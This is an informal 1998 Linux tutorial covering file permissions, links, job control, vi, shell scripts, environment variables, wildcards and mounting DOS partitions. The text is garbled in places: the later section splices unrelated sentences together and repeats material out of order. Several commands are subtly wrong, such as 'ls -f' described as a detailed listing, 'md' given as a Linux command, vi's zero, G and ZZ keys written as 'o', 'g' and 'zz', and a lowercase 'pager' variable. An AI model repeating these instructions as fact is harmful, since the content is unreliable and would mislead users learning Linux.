However, many users wish to keep other users out of their files. Setting the permissions of a file to `-rw----` will prevent any other user from accessing the file. Likewise, setting the permissions of a dir to `-rwx---` keeps other users out of the directory.

### ---Changing Permissions---

The command `Chmod:` is used to set the permissions on a file. Only the owner of a file may change the permissions of that file. The syntax of `chmod` is: `[a,u,g,o][+,-][r,w,x] filenames`. Briefly, you supply one or more of "all, user, group, or other". Then you specify whether you are adding rights (+) or taking them away (-). Finally, you specify one or more of read, write, and execute. Some examples of legal commands are:  
`"chmod a+r stuff"`: this gives all users read access to the file.  
`"chmod +r stuff"`: same as above--if none of a, u, g, o is specified, a is assumed.  
`"chmod og-x stuff"`: Remove execute permission from users other than the owner.  
`"chmod u+rwx stuff"`: Let the owner of the file read, write, and execute the file.  
`"Chmod o-rwx stuff"`: remove read, write and execute permission from users other than the owner and users in the file's group.

### ---Managing file links---

Links let you give a single file more than one name. Files are actually identified by the system by their inode number, which is just the unique file system identifier for the file. A dir is actually a listing of inode numbers with their corresponding filenames. Each filename in a dir is a link to a particular inode.

### ---Hard Links---

The `ln` command is used to create multiple links for one file. For example, let's say that you have a file called `foo` in a dir. Using `"ls -i"` you can look at the inode number for this file.  
etc: `"ls -i foo"`  
`"22192 foo"`  
Here, `foo` had a inode number of 22192 in the file system. You can create another link to `foo`, named `bar`, as follows:  
`"ln foo bar"`  
with `ls -i` you see that the two files have the same inode.  
`"ls -i foo bar"`  
`"22192 bar" "22192 foo"`  
Now, specifying either `foo` or `bar` will access the same file. If you make changes to `foo`, those changes will appear in `bar` as well. For all purposes, `foo` and `bar` are the same file.  
These links are known as hard links because they create a direct link to an inode. Note that you can hard link files only when they're on the same file system; symbolic links (see below) don't have this restriction. When you delete a file with `rm`, you are actually only deleting one link to a file. If you use command: `"rm foo"`  
Then only the link named `foo` is deleted, `bar` will still exist. A file is only truly deleted on the system when it has no links to it. Usually, files have only 1 link, so using the `rm` command deletes the file. However, if a file has multiple links to it, using `rm` will delete only a single link; in order to delete the file you must delete all links to the file.



The command `ls -l` displays the number of links to a file (among other info).  
etc: "`ls -l foo bar`"

```
"-rw-r--r-- 2 root root 12_aug_5_16:51_bar"
```

```
"-rw-r--r-- 2 root root 12_aug_5_16:51_foo"
```

The second column in the listing, "2", specifies the number of links to the file.

As it turns out, a directory is actually just a file containing info about link-to-inode associations. Also, every dir contains at least 2 hard links: "." (a link pointing to itself), and ".." (a link pointing to the parent dir). The root dir (/) "." link just points back to /. (in other words, the parent if the root dir is the root dir itself).

### ---Symbolic links---

Symbolic links, or symlinks, are another type of link, which are different from hard links. A symbolic link you give a file another name, but doesn't link the file by inode.

The command "`ln -s`" creates a symbolic link to a file. For example, if you use the command: "`ln -s foo bar`"

you will create a symbolic link named bar that points to the file foo.

If you use "`ls -i`", you'll see that the 2 files have different inodes indeed.

```
etc: "ls -i foo bar"
```

```
"22195 bar" "22192 foo"
```

However, using `ls -l`, we see that the file bar is a symlink pointing to foo.

```
etc: "ls -l foo bar"
```

```
"lrwxrwxrwx 1 root root 3 Aug 5 16:51 bar -> foo"
```

```
"-rw-r--r-- 1 root root 3 Aug 5 16:51 bar_foo"
```

The file permissions on a symbolic link are not used (they always appear as `lrwxrwxrwx`). Instead, the permissions on the symbolic link are determined by the permissions on the target of the symbolic link (in our example, the file foo).

Functionally, hard links and symbolic links are similar, but there are differences. For one thing, you can create a symbolic link to a file that doesn't exist, the same is not true for hard links. Symbolic links are processed by the kernel differently than are hard links, which is just a technical difference but sometimes an important one. Symbolic links are helpful because they identify the file they point to; with hard links, there is no easy way to determine which files are linked to the same inode.

Links are used in many places on a Linux system. Symbolic links are especially important to the shared library images in `/lib`.

### ---Job control---

Job control is a feature provided by many shells (including `bash` and `tcsh`) that let you control multiple running commands, or jobs, at once. Before we can delve much further, we need to talk about processes.

Every time you run a program, you start what is called a process. The command "`ps`" displays a list of currently running processes, as shown here:

```
Pid TT stat Time Command
24 3 S 0:03 (BASH)
161 3 r 0:00 ps
```

The pid listed in the first column is the process id, a unique number given to every running process. The last column, Command, is the name of

the running commands. Here, we're looking only at the process which MAX himself is currently running. (There are many other processes running on the system as well--"ps -aux" list them all) these are bash (MAX's shell), and the ps command itself. As you can see, bash is running concurrently with the ps command. bash executed ps when MAX typed the command. After ps has finished running (after the table of processes is displayed), control is returned to the bash process, which displays the prompt, ready for another command.

A running process is also called a job. The terms process and job are interchangeable. However, a process is usually referred to as a "Job" when used in conjunction with job control, a feature of the shell that lets you switch between several independent jobs. In most cases, users run only a single job at a time whatever command they last typed to the shell. However, using job control, you can run several jobs at once, and switch between them as needed. How might this be useful? Let's say you are editing a text file and want to interrupt your editing and do something else. With job control, you can temporarily suspend the editor, go back to the shell prompt and start work on something else. When you're done, you can switch back to the editor and be back where you started, as if you didn't leave the editor. There are many other practical uses of job control.

---Foreground and background---

Jobs can either be in the foreground or in the background. There can only be one job in foreground at a time. The foreground job is the job with which you interact; it receives input from the keyboard and sends output to your screen, unless, of course, you have redirected input or output, as described starting on page. On the other hand, jobs in the background do not receive input from the terminal in general, they run along quietly without the need for interaction.

Some jobs take a long time to finish and don't do anything interesting while they are running. Compiling programs is one such job, as is compressing a large file. There is no reason why you should sit around and be bored while these jobs complete their tasks; just run them in the background. While jobs run in the background, you are free to run other programs.

Jobs may also be suspended. A suspended job is a job that is temporarily stopped. After you suspend a job you can tell the job to continue in the foreground or the background as needed. Resuming a suspended job does not change the state of the job in any way; the job continues to run where it left off.

Suspending a job is not equal to interrupting a job. When you interrupt a running process (by pressing the interrupt key, which is usually ctrl+c, the process is killed, for good. Once the job is killed, there's no hope of resuming it. You'll have to run the command again. Also, some programs trap the interrupt, so that pressing ctrl+c won't immediately kill the job. This is to let the program perform any necessary cleanup operations before exiting. In fact, some programs don't let you kill them with an interrupt at all.

---Backgrounding and killing jobs---

Let's begin with a simple example. The command `yes` is a seemingly useless command that sends an endless stream of y's to standard output. (This is actually useful. If you pipe the output of `yes` to another command which asks a series of yes and no questions, the stream of y's would confirm

all of the questions.)

```
try it out : "yes"
```

```
"y"
```

```
"y"
```

```
"y"
```

```
"y"
```

the y's will continue ad infinitum. You can kill process by pressing the interrupt key, which is usually ctrl+c. So that we don't have to put up with the annoying stream of y's, let's redirect the standard output of yes to /dev/null. As you may remember /dev/null is nothing.

this method is very effective on quitting an otherwise verbose program.  
etc: "yes > /dev/null"

Ah, much better. Nothing is printed but the shell prompt doesn't come back. This is because yes is still running, and is sending these inane y's to /dev/null. Again, to kill the job press the interrupt key.

Let's suppose that you want the yes command to continue to run but wanted to get the shell prompt back so that you can work on other things. You can put yes into the background, allowing it to run, without need of interaction.

One way to put a process in the background is to append an "&" character to the end of the command.

```
"yes > /dev/null &"
```

As you can see, the shell prompt has returned. But what about this "[1] 164"? And is the yes command really running?.

The "[1]" represents the job number for the yes process. The shell assigns a job number to every running job. Because yes is the one and only job we're running, it is assigned a job number 1. The "164" is the process ID, or PID, number given by the system to the job. You can use either number to refer to the job, as you'll see later.

You now have the yes process running in the background, continuously sending a stream of y's to /dev/null. To check on the status of this process, use the internal shell command jobs.

```
etc: "jobs"
```

```
"[1]+  _running_____yes+>/dev/null__&"
```

Sure enough, there it is. You could also use the "ps" command as demonstrated above to check the status of the job.

To terminate the job, use the kill command. This command takes either a job number or a process ID number as an argument. This was job number 1, so using the command:

```
etc: "kill %1"
```

kills the job. When identifying the job number, you must prefix the number with a percent ("%") character.

Now that you've killed the job, use jobs again to check on it.

```
etc: "jobs"
```

```
"[1]+  terminated          Yes >/dev/null"
```

The job is in fact dead, and if you use the jobs command again nothing should be printed.

You can also kill the job using the process ID (PID) number, displayed along with the job ID when you start the job. In our example the process ID is 164, so the command: "kill 164"

is equivalent to "kill %1"

you don't need to use the "%" when referring to a job by its process ID.

---Stopping and restarting jobs---

There is another way to put a job into the background. You can start

the job normally (in the foreground), stop the job, and then restart it in the background.

First start the yes process in the foreground, as you did before:

```
"yes > /dev/null
```

again, because yes is running in the foreground, you shouldn't get the shell prompt back.

Now, rather than interrupt the job with Ctrl+c, suspend the job. Suspending a job doesn't kill it; it only temporarily stops the job until you restart it. To do this, press the suspend key which is usually "Ctrl+z"

```
etc:"Yes > /dev/null
```

```
"Ctrl+z"
```

```
"[1]+__stopped_____yes_>/dev/null"
```

While the job is suspended. It's simply not running. No CPU time is used for the job. However, you can restart the job, which causes the job to run again as if nothing ever happened. It will continue to run where it left off.

To restart the job in the foreground, use the "fg" command (for "foreground").

```
etc:"fg"
```

```
"yes >/dev/null"
```

The shell displays the name of the command again so you're aware of which job you just put into the foreground. Stop the job again Ctrl+z. This time use the "bg" command to put into the background. This causes the command to run just as if you started the command with "&" as in the last section.

```
etc:"bg"
```

```
"[1]+ yes >/dev/null &"
```

And you have your prompt back. Jobs should report that yes is indeed running, and you can kill the job with "Kill" as we did before.

How can you stop the job again? Using Ctrl+z won't work, because the job is in the background. The answer is to put the job in the foreground with "fg", and then stop it. As it turns out, you can use "fg" on either stopped job or jobs in the background.

There is a big difference between a job in the background and a job that is stopped. A stopped job is not running; it's not using CPU time, and it's not doing any work (the job still occupies system memory, although it may have been swapped out to disk). A job in the background is running and using memory, as well as completing some task while you do other work. However, a job in the background may try to display text on your terminal, which can be annoying if you're trying to work on something else. For example, if you used the command

```
etc:"yes &"
```

without redirecting stdout to /dev/null, and a stream of y's would be displayed on your screen, without any way for you to interrupt it (you can't use Ctrl+c to interrupt jobs in the background.) In order to stop the endless y's use the fg command to bring the job to the foreground, and then use Ctrl+C to kill it.

Another note. The "fg" and "bg" commands normally affect the job that was last stopped (indicated by a "+" next to the job number when you use the jobs command). If you are running multiple jobs at once, you can put jobs in the foreground or background by giving the job ID as an argument to "fg" or "bg", as in

```
etc:" fg %2"
```

(to put job number 2 into background foreground), or

```
etc:"bg %3"
```

(to put job number 3 into the background). You can't use process ID numbers with "fg" or "bg".

Furthermore, using the job number alone, as in  
etc: "%2"

is equivalent to  
:"fg %2"

Just remember that using job control is a feature of a shell. The "fg", "bg" and jobs commands are internal to the shell. If for some reason you can use a shell that doesn't support job control, don't expect to find these commands available.

In addition, there are some aspects of job control that differ between bash and tcsh. In fact, some shells don't provide job control at all however, most shells available for linux do.

---Using the Vi editor---

A text editor is a program used to edit files that are composed of text: a letter, a C program, or a system configuration file. While there are many such editors available for linux, the only editor that you are guaranteed to find on any unix/linux system is vi the "visual editor". Vi is not the easiest editor to use, nor is it very self explanatory. However, because vi is so common in the unix/linux world, and sometimes necessary, it deserves discussion here.

Your choice of an editor is mostly a question of personal taste and style. Many users prefer the baroque, self explanatory and powerful emacs and editor with more features than any other single program in the unix world. For example, emacs has its own built in dialect of the LISP programming language, and has many extensions (one of which is an eliza like artificial intelligence program). However, because emacs and its support files are relatively large, it may not be installed on some systems vi on the other hand, is small and powerful but more difficult to use. However, once you know your way around vi it's actually very easy.

This section presents an introduction to vi we won't discuss all of the features, only the ones you need to know to get started.

You can refer to the man page for vi if you're interested in learning more about this editor's features. Alternatively, you can read the book "Learning the vi editor" from O'Reilly and Associates, or the "VI tutorial" from specialized system consultants.

---Concepts of vi---

While using vi, at any one time you are in one of three modes of operation. These modes are called command mode, insert mode, and last line mode.

When you start up vi, you are in command mode. This mode lets you use commands to edit files or change to other modes. For example, typing "x" while in command mode deletes the character underneath the cursor. The arrow keys move the cursor around the file you're editing. Generally, the commands used in command mode are one or two characters long.

You actually insert or edit text within insert mode. When using vi, you'll probably spend most of your time in this mode. You start insert mode by using a command such as "i" (for "insert") from command mode. While in insert mode, you can insert text into the document at the current cursor location. To end insert mode and return to command mode, press "esc".

Last line mode is a special mode used to give a certain extended command to vi. While typing these commands, they appear on the last line of the screen (hence the name). For example, when you type ":" in command mode you jump into last line mode and can use commands like "wq" (to write the file and quit vi), or "q!" (to quit vi without saving changes). Last line mode is generally used for vi commands that are longer than 1 character. In

last line mode, u enter a single line commands and press enter to execute it.

---Starting vi---

The best way to understand these concepts is to fire up vi and edit a file. The example "screens" below show only a few lines of text, as if the screen were only six lines high instead of twenty four.

The syntax for vi is "Vi filename"

where filename is the name of the file to edit.

Start up vi by typing : "vi test"

to edit the file test. U should see something like

```
~
-
~
-
~
-
~
-
```

"test"[new file]

The column of "~" characters indicates u are at the end of the file.

The ~ represents the cursor.

---Inserting text---

The vi program is now in command mode. Insert text into the file by pressing i, which places the editor into insert mode, and begin typing.

Type as many lines as u want (press enter after each). U may correct mistakes with the backspace key.

To end insert mode and return to command mode, press "Esc"

In command mode u can use the arrow key to move around in the file.

(If u have only 1 line on text, trying to use the up or down -arrow keys will probably cause vi to beep u.)

There are several ways to insert text other than the "i" command.

The "a" command inserts text beginning after the current cursor position, instead of at the current cursor position. For example, use the left arrow key to move the cursor between 2 words u typed.

press "a" to start insert mode, type "HO", and then press "Esc" to return

to command mode. To begin inserting text at the next line, use the "o" command. Press "o" and enter another line or two:.

---Deleting text---

From command mode, the "x" command deletes the character under the cursor.

If u press "x" five times, u'll end up with: the last 5 characters deleted.

Now press "a" and insert some more characters followed by "Esc".

U can delete entire lines using the command "dd" (that is, press "d" twice in a row). If the cursor is on the second line and u typed "dd" u'll

lose all the text after the point where the cursor is.

To delete the word that the cursor is on, use the "dw" command. Place the cursor on any word and type "dw"

---Changing text---

U can replace sections of text using the "r" command. Place the cursor

on the first letter on first like and press "r", and type another word. Using "r" to edit text is like the "i" and "a" commands, but "R" overwrites, rather than inserts, text. The "r" command replaces the single character under the cursor. For example, move the cursor to the beginning of the first letter in first word. Now press "r" followed by a character, you will see how it changes. The "~" command changes the case of the letter under the cursor from upper to lower case, and back. For example, if you place the cursor on the last letter you just changed and repeatedly press "~", you'll end up with all the letters becoming capital's.

---Commands for moving the cursor---

You already know how to use the arrow keys to move around the document. In addition, you can use the "h", "j", "k" and "l" commands to move the cursor, left, down, up and right, respectively. This comes in handy when (for some reason) your arrow keys aren't working. The "w" command moves the cursor to the beginning of the next word; the "b" command moves it to the beginning of the previous word. The "o" command (that's the zero key) moves the cursor to the beginning of the current line, and the "\$" command moves it to the end of the line. When editing large files, you'll want to move forwards or backwards through the file a screenful at a time. Pressing "ctrl+f" moves the cursor one screenful forward, and "Ctrl+b" moves it a screenful back. To move the cursor to the end of the file, press "g". You can also move an arbitrary line; for example, typing the command "10g" would move the cursor to line 10 in the file. To move to the beginning of the file, use "1g" you can couple moving commands with other commands, such as those for deleting text. For example, the "d\$" command deletes everything from the cursor to the end of the line; "dg" deletes everything from the cursor to the end of the file, and so on.

---Saving files and quitting vi---

To quit vi without making changes to the file, use the command ":q!". When you press the ":", the cursor moves to the last line of the screen and you'll be in the last line mode. In last line mode, certain extended commands are available. One of them is "q!", which quits vi without saving. The command ":wq" saves the file and then exits vi. The command "zz" (from command mode, without the ":") is equivalent to ":wq". If the file has not been changed since the last save, it merely exits, preserving the modification time of the last change. Remember that you must enter after the command entered in last line mode. To save the file without quitting vi, use ":w".

---editing another file---

To edit another file use the ":e" command. For example, to stop editing "your current file" and edit lets say "foo" instead, use the command. If you use ":e" without saving the file first, you'll get the error message. "NO write since last change (:edit! overrides)" which means that vi doesn't want to edit another file until you save the first one. At this point, you can use ":w" to save the original file, and then use ":e", or you can use the command. The "!" tells vi that you really mean it edit the new file without saving changes to the first.

---Including other files---

If u use the ":r" command, u can include the contents on another file in the current file. For example, the command inserts the contents of the file "foo".txt in the text at the location of the cursor.

---Running shell commands---

U can also run shell commands within vi. The ":r!" command works like ":r", but rather than read a file, it inserts the output of the given command into the buffer at the current cursor location. For example, if u use the command.

```
":r! ls -f"
```

u'll end up with.

```
"what u have typed"
```

```
"under that a distriiction of everything in the dir your in"
```

U can also "shell out" of vi, in other words, run a command from within vi, and return to the editor when u're done. For example, if u use the command ":! ls -f" the "ls -f" command will be executed and the results displayed on the screen, but not inserted into the file u're editing. If u use the command.

```
":shell"
```

vi starts an instance of the shell, letting u temporarily put vi "on hold" while u execute other commands. Just log out of the shell (using the "exit" command) to return to vi.

---Getting help---

Vi doesn't provide much in the way of interactive help (most linux programs don't), but u can always read the man page for vi. vi is a visual front-end to the ex editor; which handles many of the last line mode commands in vi. So, in addition to reading the man page for vi, see ex as well.

---Customizing u'r Enviroment---

A shell provides many mechanisms to customize u'r work enviroment. As mentioned above, a shell is more than a command interpreter it's also a powerful programming language. Although writing shell scripts is an extensive subject, we'd like to introduce u to one of the ways that can simplify u'r work for linux system by using these advanced features of the shell.

As mentioned before, different shells use different syntaxes when executing shell scripts. For example, Tcsh uses a c-like syntax, while Bourne shells use another type of syntax. In this section, we won't be encountering many differences between the two, but we will assume that shell scripts are executed using the Bourne shell syntax.

---Shell scripts---

Lets say that u use a series of commands often and would like to save time by grouping all of them together into a single "command". For example, the three commands

```
"cat chapter1 chapter2 chapter3 >book"
```

```
"wc -l book"
```

```
"lp book"
```

All this takes the files "chapter1", "chapter2", "chapter2" and places them in a file called book. The second command displays a count of the number of lines in the book, and the third command "lp book" prints book.

Rather than type all these commands, u can group them into a shell script. The



shell script used to run all these commands might look like this

```
"#!/bin/sh"  
"#A shell script to create and print the book cat chapter1 chapter2 chapter2 >  
book"
```

```
"lp book"
```

shell scripts are just plain text files; you can create them with an editor such as "emacs or vi.

Let's look at this shell script. The first line, "#!/bin/sh", identifies the file as a shell script and tells the shell how to execute the script. It instructs the shell to pass the script to /bin/sh for execution, where /bin/sh is the shell program itself. Why is this important? On most Linux systems, /bin/sh is a Bourne type shell, like bash. By forcing the shell script to run using /bin/sh, you ensure that the script will run under a Bourne syntax shell (rather than a C shell). This will cause your script to run using the Bourne syntax even if you use tcsh (or another C shell) as your login shell.

The second line is a comment. Comments begin with the character "#" and continue to the end of the line. Comments are ignored by the shell; they are commonly used to identify the shell script to the programmer and make the script easier to understand.

The rest of the lines in the script are just commands, as you would type them to the shell directly. In effect, the shell reads each line of the script and runs that line as if you had typed it at the shell prompt.

Permissions are important for shell scripts. If you create a shell script, make sure that you have execute permission on the script in order to run it. When you create text files, the default permissions usually don't include execute permission, and you must set them explicitly. Briefly, if this script were saved in the file called makebook, you could use the command

```
"chmod u+x makebook"
```

to give yourself execute permission for the shell script makebook.

You can use the command

```
"makebook"
```

to run all the commands in the script.

---Shell variables and the environment---

A shell lets you define variables, as do most programming languages. A variable is just a piece of data that is given a name.

tcsh, as well as other C type shells, use a different mechanism for setting variables than is described here. This discussion assumes that you use a Bourne shell like bash.

When you assign a value to a variable (using the "=" operator), you can access the variable by prepending a "\$" to the variable name, as demonstrated below.

```
" foo="hello there" "
```

The variable foo is given the value hello there. You can then refer to this value by the variable name prefixed with a "\$" character. For example, the command

```
" Echo $foo"
```

```
"hello there"
```

produces the same result as

```
"echo "hello there" "
```

```
"hello there"
```

These variables are internal to the shell, which means that only the shell can access them. This can be useful in shell scripts; if

you need to keep track of a filename, for example, you can store it in a variable, as above. Using the set command displays a list of all defined shell variables.

However, the shell lets you export variables to the environment. The environment is the set of variables that are accessible by all commands that you execute. Once you define a variable inside the shell, exporting it makes the variable part of the

environment as well. Use the export command to export a variable to the environment.

Again, here we differ between bash and tcsh. If you use tcsh, another syntax is used for setting environment variables (the setenv command is used).

The environment is very important to the Unix system. It lets you configure certain commands just by setting variables which the commands know about.

Here is a quick example. The environment variable "pager" is used by "man" command and it specifies the command to use to display manual pages one screenful at a time. If you set "pager" to the name of a command, it uses the command to display the man pages, instead of more (which is default).

Set pager to "cat". This causes output from man to be displayed to the screen all at once, without pausing between pages.

```
"pager=cat"
```

Now, export pager to environment.

```
"export pager"
```

Try the command "man ls". The man page should fly past your screen without pausing for you.

Now if we set pager to "more", the more command is used to display the man page.

```
"pager=more"
```

\*\*\*Note that we don't have to use the export command after we change the value of pager. We only need to export a variable once; any changes made to it thereafter will automatically be propagated to the environment.

It is often necessary to quote strings in order to prevent the shell from treating various characters as special. For example, you need to quote a string in order to prevent the shell from interpreting the special meaning of characters such as "\*", "?" or as space. There are many other characters that may need to be protected from interpretation. A detailed explanation and description of quoting is described in "SSC's Bourne shell tutorial".

The manual pages for a particular command tell you if the command uses any environment variables. For example, the man man page explains that "pager" is used to specify the pager command.

Some commands share environment variables. For example, many commands use the editor environment variable to specify the default editor to use when one is needed..

The environment is also used to keep track of important info about your login session. An example is the HOME environment variable, which contains the name of your home dir.

```
"echo $HOME"
```

Another interesting environment variable is "PS1", which defines the main shell prompt. For example,

```
"PS1="your command, please: "
```

```
"your command, please:"
```

To set the prompt back (which contains the current working dir followed by a "#" symbol),

```
"Your command, please: PS1="\w#_ " "
```

The bash manual page describes the syntax used for setting the prompt.

---The path environment variable---

When you use the "ls" command, how does the shell find the "ls" executable itself?. In fact, "ls" is in /bin on most systems. The shell uses the environment variable "path" to locate executable files from commands you type.

For example, your path variable may be set to.

```
"/bin:/usr/bin:/usr/local/bin: "
```

This is a list of dirs for the shell to search, each dir separated by a ":". When you use the command "ls", the shell first looks for /bin/ls, then

/usr/bin/ls, and so on.

\*\*\*Note that the "Path" has nothing to do with finding regular files. For example, if you use the command.

```
"cp foo bar"
```

the shell does not use path to locate the files foo and bar those filenames are assumed to be complete. The shell only uses path to locate the "cp" executable.

This saves you time, and means that you don't have to remember where all the command executables are stored. On many systems, executables are scattered about in many places, such as /usr/bin, /bin or /usr/local/bin. Rather than give the command's full pathname (such as /usr/bin/cp), you can set path to the list of dir's that you want the shell to automatically search.

Notice that path contains ".", which is the current working dir. This lets you create a shell script or program and run it as a command from your current dir without having to specify it directly (as in ./makebook). If a dir isn't in your path, then the shell will not search it for commands to run; this also includes the current dir.

---Shell initialization scripts---

In addition to the shell scripts that you create, there are a number of scripts that the shell itself uses for certain purposes. The most important of these are initialization scripts, which are scripts executed by the shell when you log in.

The initialization scripts themselves are simple shell scripts. However, they initialize your environment by executing commands automatically when you log in. If you always use the mail command to check your mail when you log in, you place the command in the initialization script so it will execute automatically. Both bash and tcsh distinguish between a login shell and other invocations of the shell. A login shell is a shell invoked when you log in. Usually, it's the only shell you'll use. However, if you "shell out" of another program like vi, you start another instance of the shell, which isn't your login shell. In addition, whenever you run a shell script you automatically start another instance of the shell to execute the script.

The initialization files used by bash are: /etc/profile (set up by the system admin and executed by all bash users at the login time), \$HOME/.bashprofile (executed by a login bash session), and \$HOME/.bashrc (executed by all non-login instances of bash). If .bash\_profile is not present, .profile is used instead.

tcsh uses the following initialization scripts: /etc/csh.login (executed by all tcsh users at login time), \$HOME/.tcshrc (executed at login time and by all new instances of tcsh), and \$HOME/.login (executed at login time, following .tcshrc). If .tcshrc is not present, .cshrc is used instead.

-----Personal Notes-----

A complete guide to shell programming would take forever to write. For more info on shell programming look at your manual pages for bash or tcsh.

After reading this you should know the basics on linux to teach yourself and get through it with fun.

(c) 1998 MAX [4d5044]



## Linux 2

Différences between linux systems.

/usr/man: this contains manual pages. There are 2 subdirs in it for every manual page "section".

### ---Types of shells---

There are several shells in a linux the most commonly used shells are "Bourne shell", "C shell".

The bourne shell uses a command syntax like the original shell on early unix systems, like system III. The name bourne shell on most linux systems is /bin/sh (sh stands for shell). The C shell uses a different syntax, somewhat like the programming language C, and on most linux systems it's named /bin/csh.

Then there is Bash (/bin/bash), and "Tcsh" (/bin/tcsh). Bash is a form of the bourne shell that includes many of the advanced features found in the C shell. Because bash supports a superset of the bourne shell syntax, shell scripts written in the standard Bourne shell should work with Bash. If you prefer to use a C shell syntax, Linux supports tcsh, which is an expanded version of the original C shell.

It's up to you which shell you use. Some like Bourne shell syntax with the advanced features of bash, and some prefer the most structured C shell syntax. With basic commands like cp and ls are concerned the shell you use doesn't matter the syntax is the same. Only when you start to write shell scripts or use advanced features of a shell do the differences between shell types begin to matter.

### ---Wildcards---

Wildcards are features in linux that allow you refer to more than 1 name but using special characters these wildcards let you refer to say all the names that contain the character "n".

The wildcard "\*" specifies any character or string of characters in a file name. When you use the character "\*" in a filename, the shell replaces it with all possible substitutions from file names in the directory.

etc. in your directory type :ls \*o\*,

and it will list all the files with the letter "O" in it.

Other examples of use are: ls f\*, ls \*ff, ls \*f\*, ls s\*f, these will all work. Stuff around with them and you will see what the results are.

\*\*\*important note: All file names that begin with "." are considered hidden using Unix's all the files in the dir. extra commands to ls are:

[ls -f]: this extended command tells you in more info on the file/dirs in that directory.

[mkdir]: this feature enables you to make directories, anywhere in your linux,

[md]: is just another command to make dirs.

[cp]: this command allows you to copy files to certain directories.

etc cp /home/MAX .

"." represents current directory, you could also do etc cp /home/MAX /home.

[mv]: this option allows you to move files/directories to other locations.

etc. mv filename/dir MAX, this will rename filename/dir to MAX,

You can also move to another dir by doing mv filename/dir /home/.

[rm]: this command allows you to remove a file, etc. rm filename.

[more], [cat]: these commands allow you to view files.

[man]: this command is used to show you info on files, etc / [man ls]

this will tell u all possible commands for ls.

[startx]: this command is used if your in linux and u have xwindows, installed and setup u can get straight into it by that command.

[ctrl+d]: this will terminate alot of programs like cat.

\*\*\*all above commands and alot more will be explained in this tutorial.

---Accessing ms-dos files, windows files in linux---

IF u want to access ms dos files on your linux the best way to do would be to mount a ms-dos paratition or floppy on under linux.

For example if u have a ms-dos floppy in /dev/fd0, the command would be

mount -t msdos /dev/fd0 /mnt

this will mount it under /mnt.

U can also mount an ms-dos partition on your hard drive under linux.

If u have a mss-dos partition on /dev/hda1 the command

mount -t msdos /dev/hda1 /mnt

U can also mount a VFAT file system that is using windows 95.

mount -t vfat /dev/hda1 /mnt

---Whats in what directory----

This part will help u get to know your linux on where everything is kept and stored.

/: this is root directory everything go's in here.

/bin: this directory hold's most essential system programs etc.cp,ls,mv.

/dev: this directory hold's device files they are system devices and resources like disk drives, modems and memory.

/dev/console refers to the system's console this is the monitor connection directly to your system.

/dev/ttyS, /dev/cua devices are used for accessing serial ports. /dev/ttysO

refers to "com1"/dev/cua devices are "callout" devices, and used with a modem.

\*\*\*device names beginning with hd access hard drives. /dev/hda

refers to the while fist hard disk, while /dev/hda1 refers to the first parition on /dev/hda

\*\*\*Devices names that begin with sd are scsi drivers. If u have a Scsi hard drive, instead of accessing it through ls will not find these files, ls -a will show all hidden files in that directory.

wildcard is "?" this wildcard expands to only a single character.

Thus "ls ?" displays all one character filenames. And "ls termca?" would

display "termcap" but not "termcap.backup". etc if i had a folder called

"joe" and i typed ls j?e, it would display that folder. IT's useful

if u forget how to spell something or u want all files to be displayed

that have 3 letters and j is first e is 3rd.

example of a wildcard copy: cp /etc/s\* /home/MAx, this will copy

all files starting with "S" to /home/MAx.

----Pipelining----

Pipelining is used so when u do a mass ls on a directory is all go's by way to quickly and u want to see it all use this command

:ls /usr/bin | more .

That's not it; you can pipe more than 2 commands together. The command head is a filter that displays the first lines from an input stream.  
etc: `ls | sort -r | head -1`.

---Non-destructive redirection of output---

Using ">" to redirect output to a file is destructive: in other words, the command `ls > dir_name` overwrites the contents of the file file-list. If instead, you redirect with the symbol ">>", the output is appended to the name file instead of overwriting it. etc: `ls >> dir_name` appends the output of the ls command to directory\_name.

---File permission---

Because there is typically more than one user on a Linux system, Linux provides a mechanism known as file permissions, which protect user files from tampering by other users. This mechanism lets files and directories be "owned" by a particular user. For example, because I created files in my home dir, I own those files and I have access to them. Linux also lets files be shared between users and groups of users. If I desired, I could cut off access to my files so that no other user could access them. However, on most systems the default is to allow other users to read your files but not modify or delete them in any way. Every file is owned by a particular user. However, files are also owned by a particular group, which is a defined group of system. Every user is placed into at least one group when that user's account is created. However, the system admin may grant the user access to more than one group. Groups are usually defined by the type of users who access the machine. For example, on a university Linux system users may be placed into groups student, staff, faculty, or guest. There are also a few system-defined groups (like bin and admin) which are used by the system itself to control access to resources--very rarely do actual users belong to these system groups. Permissions fall into three main divisions: read, write, and execute. These permissions may be granted to three classes of users: the owner of the file, the group to which the file belongs, and to all users, regardless of group. Read permission lets a user read the contents of a file, or in the case of directories, list the contents of the directory (using ls). Write permission lets the user write to and modify the file. For directories, write permission lets the user create new files or delete files within that directory. Finally, execute permission lets the user run the file as a program or shell script (if the file is a program or a shell script). For directories, having execute permission lets the user cd into the directory in question.

---Interpreting file permissions---

Let's look at an example that demonstrates file permissions. Using the "ls" with the -l option displays a "long" listing of the file, including file permissions.

example: `ls -l stuff`

```
-rw-r--r-- 1 MAx users 505 MAr 13 19:05 stuff
```

The first field in the listing represents the file permissions. The

Field is the owner of the file(MAx) and the fourth field is the group to which the file belongs (users). Obviously, the last field is the name of the file (stuff). We'll cover the other fields later.

This file is owned by MAx, and belongs to the group users. The string -rw-r--r-- lists, in order the permissions granted to the file's owner, the file's group, and everybody else.

The first character of the permissions string("-") represents the type of file. A "-" means that this is a regular file (as opposed to a dir or device driver). The next three characters("rw-") represent the permissions granted to the file's owner, MAx. The "r" stands for "read" and the "w" stands for "write". Thus, MAx has read and write permission to the file stuff.

As mentioned, besides read and write permission, there is also "execute" permission--represented by an "x". However, a "-" is listed here in place of an "x", so MAx doesn't have execute permission on this file. This is fine, as the file stuff isn't a program of any kind. Of course, because MAx owns the file, he may grant himself execute permission for the file if he so desires. (This will be covered shortly.)

The next three characters, ("r-") represent the group's permissions on the file. The group that owns the file is users. Because only an "r" appears here, any user who belongs to the group users may read this file.

The last three characters, also ("r-"), represent the permissions granted to every other user on the system (other than the owner on the file and those in the group users). Again, because only an "r" is present, other users may read the file, but not write to it or execute it.

Here are some other examples of permissions:

"-rwxr-xr-x" The owner of the file may read, write and execute the file.

Users in the file's group, and all other users, may read and execute the file.

"-rw-----" The owner of the file may read write the file. No other user can access the file.

"-rwxrwxrwx" All users may read, write, and execute the file.

### ---Permission Dependencies---

The permissions granted to a file also depend on the permissions of the dir in which the file is located. For example even if a file is set to "-rwxrwxrwx", other users cannot access the file unless they have read and execute access to the dir in which the file is located. For example, if MAx wanted to restrict access to all his files, he could set the permissions to his home dir /home/MAx to -rwx---. In this way, no other user has access to his directory, and all files and directories within it. MAx doesn't need to worry about the individual permissions on each of his files.

